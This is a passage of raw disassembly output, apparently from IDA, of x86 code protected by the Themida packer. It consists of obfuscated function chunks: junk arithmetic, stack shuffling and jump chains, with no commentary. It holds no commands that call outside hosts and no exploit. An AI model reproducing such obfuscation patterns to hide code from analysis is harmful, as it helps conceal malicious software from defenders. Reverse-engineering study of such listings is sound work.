var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056106B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563F44 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00564786 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567152 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567636 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005691AB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569DD2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C146 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056C7EB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056DAA9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056EAF1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F22B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056FB59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005701B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570BFB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005734C1 SIZE 0000003A BYTES
sub esp, 4
mov [esp+4+var_4], esp
push edi
push ecx
mov ecx, 4
mov edi, ecx
pop ecx
sub [esp+8+var_4], 78D93E6Dh
jmp loc_56C146
sub_56651E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56653B: ; CODE XREF: sub_572075+3058j
xor edi, [esp+0]
jmp loc_561910
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_566543: ; CODE XREF: sub_566DC7-30F1j
mov ebp, [esp+0]
push esi
jmp loc_568C82
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_56654C: ; CODE XREF: sub_571C93-C34Aj
mov ebx, 462D17FBh
inc ebx
neg ebx
xchg eax, ebx
not eax
xchg eax, ebx
sub ebx, 39CD4A8Dh
add ebx, 317673B6h
mov ecx, ebx
jmp loc_5733AF
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_56656B: ; CODE XREF: sub_56D4B8-5E5Fj
add edi, 71FDFFC1h
add ecx, edi
pop edi
push ecx
jmp loc_567EF6
; END OF FUNCTION CHUNK FOR sub_56D4B8
; =============== S U B R O U T I N E =======================================
sub_56657A proc near ; CODE XREF: sub_571890-DF88j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560F0B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562A34 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005631F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563CDB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005645D6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056472E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005647EE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005669CE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005676B4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00567746 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005686AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00568FFA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569BB3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569E87 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A2C3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AB7D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AE2C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056CBD5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CF7D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D783 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057367D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574361 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057484D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574865 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00575261 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005752BB SIZE 00000009 BYTES
push ebx
mov ebx, 75D65D81h
sub ebx, 6E935DB7h
shr ebx, 1
add ebx, 1CAC9224h
add ecx, ebx
pop ebx
jmp loc_567746
sub_56657A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DAB2
loc_566596: ; CODE XREF: sub_56DAB2-683Bj
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
sub eax, 42270DB1h
add eax, edi
jmp loc_57126A
; END OF FUNCTION CHUNK FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_5665AF: ; CODE XREF: sub_571088-1094Bj
pop eax
jmp loc_574BC4
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_5665B5: ; CODE XREF: sub_5671E1-37BDj
add esp, 4
push ecx
mov ecx, 33024246h
not ecx
xor ecx, 0CCFDBDBDh
sub edi, 6CFE34C2h
jmp loc_56D7FB
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_5665D4: ; CODE XREF: sub_565632+D41Bj
or ecx, edx
jmp loc_56B517
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
loc_5665DB: ; CODE XREF: Themida_:005754F8j
mov ebx, 2
sub eax, 29615B20h
add eax, ebx
add eax, 29615B20h
pop ebx
xchg eax, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_567F0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5665FC: ; CODE XREF: sub_5685B2-6A84j
shr ah, 4
sub ah, 0E5h
xor dl, ah
mov eax, [esp+0]
add esp, 4
jmp loc_562E0F
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_56660F: ; CODE XREF: sub_570CE4-4EE2j
sub eax, 5E495FFCh
add ecx, eax
pop eax
add ecx, 4
jmp loc_5608E3
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56661F: ; CODE XREF: sub_574304-E5BBj
mov esp, [esp+0]
jmp loc_57142E
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_566627: ; CODE XREF: sub_56616D+48AEj
pop esp
and eax, esi
pop esi
or eax, eax
jz loc_570869
push esi
mov esi, esp
push edx
mov edx, 4
add esi, edx
pop edx
sub esi, 4
xchg esi, [esp-8+arg_4]
pop esp
mov [esp-0Ch+arg_8], eax
mov eax, 1Ch
jmp loc_56D202
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_566653: ; CODE XREF: sub_574DC1-8A94j
pop ebx
sub edi, 4
xchg edi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebp
mov ebp, 5DCD4518h
sub eax, ebp
jmp loc_5618B2
; END OF FUNCTION CHUNK FOR sub_574DC1
; =============== S U B R O U T I N E =======================================
sub_56666D proc near ; DATA XREF: Themida_:0055FCFCo
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 005610B4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565063 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005679F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057513D SIZE 00000013 BYTES
mov ax, [esp+0]
push ebx
push esp
mov ebx, [esp+8+var_8]
jmp loc_565063
sub_56666D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56667B: ; CODE XREF: sub_570732-CB8Dj
xor ebx, 0E71B6CF5h
push eax
mov eax, ebx
mov ebp, eax
pop eax
mov ebx, [esp+18h+var_18]
jmp loc_5732CE
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56668F: ; CODE XREF: sub_57354D-E52Fj
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
jmp loc_56A6F5
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56669E: ; CODE XREF: sub_5673C3+1j
mov ebx, 41DA0721h
add ebx, 42C239DFh
and ebx, 4290385Dh
sub ebx, 8FFFFCh
jmp loc_56408B
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
loc_5666BA: ; CODE XREF: Themida_:00565F11j
mov [esp], ebp
push esp
jmp loc_56FEFD
; =============== S U B R O U T I N E =======================================
sub_5666C3 proc near ; CODE XREF: sub_573A7F-5571j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00562F52 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005631BF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056404A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005667DD SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00567026 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00567952 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00568922 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E78B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0057167D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572EB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573AC6 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 00574BCA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00575110 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005752B1 SIZE 0000000A BYTES
push ebx
mov ebx, 62B229F2h
sub eax, ebx
jmp loc_57167D
sub_5666C3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_5666D0: ; CODE XREF: sub_572E16+1Bj
add [esp+8+var_8], 4
push [esp+8+var_8]
pop eax
add esp, 4
push esi
jmp loc_5628E8
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_5666E4: ; CODE XREF: sub_57236D-107CEj
xor ecx, [esp+0]
jmp loc_568BD4
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_5666EC: ; CODE XREF: sub_56E0CB-3E5Dj
mov [esp+8+var_8], ebx
mov ebx, 141706E4h
and ebx, 64206A1Ah
jmp loc_572389
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5666FF: ; CODE XREF: sub_571F6F-1F23j
pop bx
jmp loc_570EA7
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_566706: ; CODE XREF: sub_5648C6+1j
push esp
pop ebp
push eax
push ebx
push esi
mov esi, 7C384C0Fh
sub esi, 7BA9D1CEh
mov ebx, esi
jmp loc_5721F7
; END OF FUNCTION CHUNK FOR sub_5648C6
; =============== S U B R O U T I N E =======================================
sub_56671D proc near ; CODE XREF: sub_56626B+9BD0j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005611DC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563792 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005663A7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056732B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00569F52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057318B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00574839 SIZE 0000000D BYTES
sub esp, 4
jmp loc_56732B
sub_56671D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_566728: ; CODE XREF: sub_563BCC-2E6Aj
add edi, 4
jmp loc_56C929
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_566733: ; CODE XREF: sub_57523A-16j
mov [esp+0Ch+var_C], ebp
jmp loc_56AAC5
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56673B: ; CODE XREF: sub_56E126+Ej
shl ebx, 7
add ebx, 46FA580Ch
add ebx, 4D9E2942h
jmp loc_564E41
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
loc_56674F: ; CODE XREF: Themida_:00563DC6j
sub ecx, 5061459Dh
sub ecx, 6D7F0020h
push eax
mov eax, 120D9A98h
add ecx, eax
mov eax, [esp]
push edi
mov edi, esp
jmp loc_56D759
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56676E: ; CODE XREF: sub_5734A7-C8DFj
push [esp+18h+var_18]
pop edi
push edi
jmp loc_568FDE
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_566778: ; CODE XREF: sub_5653AD+923Ej
mov esi, [esp+0]
push ebx
jmp loc_569663
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_566781: ; CODE XREF: sub_563A7F+DC3Bj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+12h+var_14+2]
pop esp
push ecx
mov ecx, esp
jmp loc_56527D
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_56679B: ; CODE XREF: sub_574000-EF09j
push esi
mov esi, 3A1B9492h
push ebp
mov ebp, 7B466551h
jmp loc_572481
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5667AC: ; CODE XREF: sub_56B06D+4340j
neg ebp
sub ebp, 2901001Ch
mov ebx, ebp
pop ebp
jmp loc_566002
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_5667BC: ; CODE XREF: sub_563DCB+83D1j
mov [esp+2+var_4+2], ebx
jmp loc_561587
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5667C4: ; CODE XREF: sub_571F6F+6BDj
not dl
shl dl, 2
xor dl, 3Eh
xor ch, dl
mov edx, [esp+14h+var_14]
add esp, 4
push bx
mov bl, 0B2h
jmp loc_57004A
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_5667DD: ; CODE XREF: sub_5666C3+80E2j
mov ecx, 61341853h
not ecx
and ecx, 716C16BCh
add ecx, 70E48ADh
sub eax, ecx
mov ecx, [esp-8+arg_4]
add esp, 4
push ecx
push edx
push ebp
push 288E08A1h
pop ebp
not ebp
jmp loc_572EB8
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_566808: ; CODE XREF: sub_574304-376Aj
push 6F7368D4h
mov eax, [esp+18h+var_18]
add esp, 4
dec eax
neg eax
xor eax, 0CCF3B071h
mov ecx, eax
pop eax
jmp loc_560B30
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5735AA
loc_566823: ; CODE XREF: sub_5735AA-C5E9j
xchg ebp, [esp+0]
mov esp, [esp+0]
sub esp, 4
mov [esp+4+var_4], eax
jmp sub_570F82
; ---------------------------------------------------------------------------
loc_566837: ; CODE XREF: sub_5735AA-E402j
pop esi
jmp loc_566F9D
; END OF FUNCTION CHUNK FOR sub_5735AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56683D: ; CODE XREF: sub_574F16-E5BCj
push ecx
mov cl, bh
mov al, cl
jmp loc_56F860
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_566847: ; CODE XREF: sub_56241E+11474j
add dx, 472Ah
add dx, 5633h
mov ax, word ptr [esp+8+var_8]
add esp, 2
sub esp, 2
mov word ptr [esp+8+var_8], di
mov di, 7976h
sub ax, 77ACh
add ax, di
push esi
jmp loc_56C667
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_566873: ; CODE XREF: sub_569AB3-60EEj
add esp, 4
pop [esp+0Ch+var_C]
pop esp
jmp loc_56DF77
; END OF FUNCTION CHUNK FOR sub_569AB3
; =============== S U B R O U T I N E =======================================
sub_566882 proc near ; DATA XREF: Themida_:0055FD54o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056F11E SIZE 00000014 BYTES
mov cx, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_56F11E
sub_566882 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56689A: ; CODE XREF: sub_574656-7486j
mov edx, [esp+8+var_8]
jmp loc_571C8B
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5668A2: ; CODE XREF: sub_57354D-95A2j
xor ebp, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
sub eax, 70F5A67h
add eax, ebp
add eax, 70F5A67h
pop ebp
sub eax, 4
jmp loc_56D7EC
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_5668C4: ; CODE XREF: sub_56351E+F02Fj
sub ebp, ecx
pop ecx
add ecx, ebp
pop ebp
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
jmp loc_572D00
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_5668D8: ; CODE XREF: sub_56C38F-9507j
mov ebx, 0
push 241h
mov [esp+4+var_4], ebp
mov ebp, 67A42300h
sub ebx, ebp
pop ebp
add ebx, eax
jmp loc_566CED
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5668F4: ; CODE XREF: sub_5678CB+3905j
push edx
jmp loc_571A0D
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_5668FA: ; CODE XREF: sub_566C83-4B63j
add esp, 4
sub ebx, 7160765h
sub ebx, esi
push esi
jmp loc_56A1AE
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56690B: ; CODE XREF: sub_574304-4902j
pop ebp
jmp loc_56E1AE
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_566911: ; CODE XREF: sub_5733CA-10B54j
xchg ecx, [esp+0]
jmp loc_560B9A
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_566919: ; CODE XREF: sub_563A7F+CD20j
add dl, 12h
sub dl, 0DFh
sub dl, cl
add dl, 0DFh
sub dl, 12h
jmp loc_561C19
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_56692C: ; CODE XREF: sub_570C6A-16FCj
push [esp+4+var_4]
pop ebp
jmp loc_5657D6
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680AC
loc_566935: ; CODE XREF: sub_5680AC+6F48j
add ebx, edx
mov edx, [esp+0]
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
jmp loc_562652
; END OF FUNCTION CHUNK FOR sub_5680AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56694D: ; CODE XREF: sub_574F16-2A2Bj
mov bh, 0ABh
push ebx
mov bh, 98h
push 293Eh
mov [esp+0Ah+var_A], eax
jmp loc_56683D
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56695F: ; CODE XREF: sub_564D26+7FC9j
add ecx, ebp
pop ebp
add ecx, 4
xchg ecx, [esp+14h+var_14]
pop esp
push ebp
mov ebp, 271D0A46h
xor edx, ebp
pop ebp
jmp loc_561FA4
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56697A: ; CODE XREF: sub_57354D-DBE1j
push edx
pop eax
pop edx
xor edx, eax
xor eax, edx
jmp loc_56CBFB
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_566986: ; CODE XREF: sub_561027+B4C7j
pop ecx
push 71E2h
mov [esp+14h+var_14], edi
jmp loc_56254A
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_566994: ; CODE XREF: sub_5648C6+10044j
add eax, 2BD7774Ah
dec eax
xor eax, 4D0E5F74h
jmp loc_56E2E0
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_5669A4: ; CODE XREF: sub_571C93-52CEj
add edx, 4
xchg edx, [esp+4+var_4]
jmp loc_5627E1
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5669B2: ; CODE XREF: sub_56B06D-13EAj
pop edi
pop [esp+18h+var_18]
add [esp+14h+var_14], 4
mov esi, [esp+14h+var_14]
add esp, 4
sub esp, 4
jmp loc_56B377
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_5669CE: ; CODE XREF: sub_56657A+11D9j
mov [esp+0Ch+var_C], eax
mov eax, 56380662h
jmp loc_56CBD5
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5669DB: ; CODE XREF: sub_571F6F-1A0Dj
push 6B83h
mov [esp+8+var_8], edx
mov dh, 2Fh
jmp loc_56382C
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_5669EA: ; CODE XREF: sub_5620B7+9042j
add edx, esi
jmp loc_56FB51
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5669F1: ; CODE XREF: sub_570732-E4B9j
push eax
mov eax, 37443EA8h
sub edx, 1B5A38C9h
add edx, eax
add edx, 1B5A38C9h
pop eax
sub edx, 58A1139Fh
inc edx
sub edx, 624D105Fh
add ebp, edx
jmp loc_56FDF5
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_566A1A: ; CODE XREF: sub_571088-2526j
add al, 0C3h
sub al, 3Fh
push cx
mov ch, 71h
jmp loc_56F0EB
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_566A27: ; CODE XREF: sub_57523A-10AF9j
sub edi, ecx
jmp loc_5730DA
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_566A2E: ; CODE XREF: sub_56B1DC+3j
push eax
sub esp, 4
mov [esp+8+var_8], esp
jmp loc_57317E
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
loc_566A3A: ; CODE XREF: Themida_:00570204j
add edx, ebx
jmp loc_56DE44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_566A41: ; CODE XREF: sub_56B1DC-A2A3j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
push [esp-4+arg_0]
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
jmp loc_5754A2
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
loc_566A55: ; CODE XREF: Themida_:0056E3F0j
xchg esi, [esp]
jmp loc_565112
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_566A5D: ; CODE XREF: sub_56B1DC-298Ej
shl ebx, 4
jmp loc_5693A1
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_566A65: ; CODE XREF: sub_566400-1B9j
add esp, 4
sub eax, 245C24C6h
add eax, ebx
jmp loc_562E98
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_566A74: ; CODE XREF: sub_566117+7C38j
add ebx, edi
push ecx
push 452Ah
mov [esp+14h+var_14], ebp
jmp loc_568146
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_566A84: ; CODE XREF: sub_574AF3+7j
mov eax, esp
add eax, 4
push esi
mov esi, 4
jmp loc_567037
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_566A96: ; CODE XREF: sub_56F782-B3BEj
push eax
mov eax, esp
jmp sub_575328
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_566A9E: ; CODE XREF: sub_56FCD7-811Ej
sub ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edx
jmp loc_561EF3
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_566AB0: ; CODE XREF: sub_574304-13E8j
pop ebp
add ebp, 4
sub ebp, 4
push ebp
push [esp+8+var_4]
pop ebp
pop [esp+8+var_8]
jmp loc_56A865
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_566ACB: ; CODE XREF: sub_56FA15+5941j
pop esp
add al, 37h
add al, bl
jmp loc_567AAD
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_566AD5: ; CODE XREF: sub_5634AF+1122j
push edi
mov edi, 70456D7Bh
xor esi, edi
pop edi
push esi
inc [esp+4+var_4]
pop esi
shr esi, 6
sub esi, 0F78921D5h
jmp loc_56C11D
; END OF FUNCTION CHUNK FOR sub_5634AF
; =============== S U B R O U T I N E =======================================
sub_566AF1 proc near ; DATA XREF: Themida_:0055FDDCo
push dword ptr [edi+2Ch]
jmp loc_55FF9F
sub_566AF1 endp
; =============== S U B R O U T I N E =======================================
sub_566AF9 proc near ; DATA XREF: Themida_:0055FED0o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 005604F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00560536 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00561810 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00564259 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00564449 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00564BA3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569125 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005695B8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BFE7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C6F8 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056F59C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574A9A SIZE 0000000A BYTES
mov cx, [esp+0]
push ebp
push esp
mov ebp, [esp+8+var_8]
add esp, 4
push edx
jmp loc_56F59C
sub_566AF9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_566B0E: ; CODE XREF: sub_572DD7-9D1Fj
